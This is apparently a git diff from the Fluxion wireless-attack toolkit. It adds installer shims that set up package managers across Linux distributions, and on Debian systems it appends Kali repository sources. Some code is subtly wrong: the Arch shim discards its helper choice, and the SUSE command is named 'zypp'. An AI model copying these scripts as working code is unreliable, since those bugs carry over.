||||
clear
|
||||
if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then
|
||||
local __installer_utils_run_dependencies__packageStatus="installed"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z ${__installer_utils_run_dependencies__packageStatus+x} ]; then
|
||||
__installer_utils_run_dependencies__installerStatus="failed"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
unprep_package_manager
|
||||
|
||||
if [ "$__installer_utils_run_dependencies__installerStatus" = "failed" ]; then
|
||||
return 3
|
||||
fi
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ -f "/etc/debian_version" ]; then
|
||||
PackageManagerCLT="apt"
|
||||
PackageManagerCLTInstallOptions="install -y"
|
||||
PackageManagerCLTRemoveOptions="remove -y"
|
||||
|
||||
PackageManagerOutputDevice="/dev/stdout"
|
||||
|
||||
unprep_package_manager() {
|
||||
echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list
|
||||
}
|
||||
|
||||
check_package_manager() {
|
||||
echo "Nothing to check." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
prep_package_manager() {
|
||||
if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then
|
||||
echo "Adding missing sources to package manager, please wait."
|
||||
|
||||
echo "Adding keys.gnupg.net key, please wait."
|
||||
if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then
|
||||
echo "ERROR: Failed to fetch or add the source key!"
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo "Adding pgp.mit.edu key, please wait."
|
||||
if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then
|
||||
echo "ERROR: Failed to fetch or add the source key!"
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list
|
||||
fi
|
||||
|
||||
# Cleanup package manager
|
||||
apt-get install -f -y | tee -a $PackageManagerLog
|
||||
apt-get autoremove -y | tee -a $PackageManagerLog
|
||||
apt-get autoclean -y | tee -a $PackageManagerLog
|
||||
apt-get clean -y | tee -a $PackageManagerLog
|
||||
apt-get update | tee -a $PackageManagerLog
|
||||
}
|
||||
fi
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ -f "/etc/gentoo-release" ]; then
|
||||
PackageManagerCLT="emerge"
|
||||
PackageManagerCLTInstallOptions="-s"
|
||||
PackageManagerCLTRemoveOptions=""
|
||||
|
||||
PackageManagerOutputDevice="/dev/stdout"
|
||||
|
||||
unprep_package_manager() {
|
||||
echo "Nothing to unprepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
check_package_manager() {
|
||||
echo "Nothing to check." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
prep_package_manager() {
|
||||
echo "Nothing to prepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
fi
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ -f "/etc/arch-release" ]; then
|
||||
#Last entry is the default package manager to use (pacman)
|
||||
AurHelpers="pacaur yaourt pacman"
|
||||
for AurHelper in $AurHelpers; do
|
||||
if [ "$(pacman -Qs $AurHelper)" ]; then
|
||||
PackageManagerCLT=$AurHelper
|
||||
break
|
||||
fi
|
||||
done
|
||||
PackageManagerCLT='pacman'
|
||||
PackageManagerCLTInstallOptions="-S --noconfirm"
|
||||
PackageManagerCLTRemoveOptions="-Rs"
|
||||
|
||||
PackageManagerOutputDevice="/dev/stdout"
|
||||
|
||||
unprep_package_manager() {
|
||||
echo "Nothing to unprepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
check_package_manager() {
|
||||
if [ -f "/var/lib/pacman/db.lck" ];then echo -e "[\033[31m!\033[0m] Pacman is locked, can't install dependencies. Exit."; exit 4; fi
|
||||
}
|
||||
|
||||
prep_package_manager() {
|
||||
echo "Nothing to prepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
fi
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ -f "/etc/redhat-release" ]; then
|
||||
PackageManagerCLT="yum"
|
||||
PackageManagerCLTInstallOptions="-y install"
|
||||
PackageManagerCLTRemoveOptions="remove"
|
||||
|
||||
PackageManagerOutputDevice="/dev/stdout"
|
||||
|
||||
unprep_package_manager() {
|
||||
echo "Nothing to unprepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
check_package_manager () {
|
||||
echo "Nothing to check." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
prep_package_manager() {
|
||||
echo "Nothing to prepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
fi
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ -f "/etc/SuSE-release" ]; then
|
||||
PackageManagerCLT="zypp"
|
||||
PackageManagerCLTInstallOptions="install"
|
||||
PackageManagerCLTRemoveOptions="remove"
|
||||
|
||||
PackageManagerOutputDevice="/dev/stdout"
|
||||
|
||||
unprep_package_manager() {
|
||||
echo "Nothing to unprepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
check_package_manager() {
|
||||
echo "Nothing to check." >$PackageManagerOutputDevice
|
||||
}
|
||||
|
||||
prep_package_manager() {
|
||||
echo "Nothing to prepare." >$PackageManagerOutputDevice
|
||||
}
|
||||
fi
|
||||
|
||||
# FLUXSCRIPT END
|
||||
Loading…
Reference in New Issue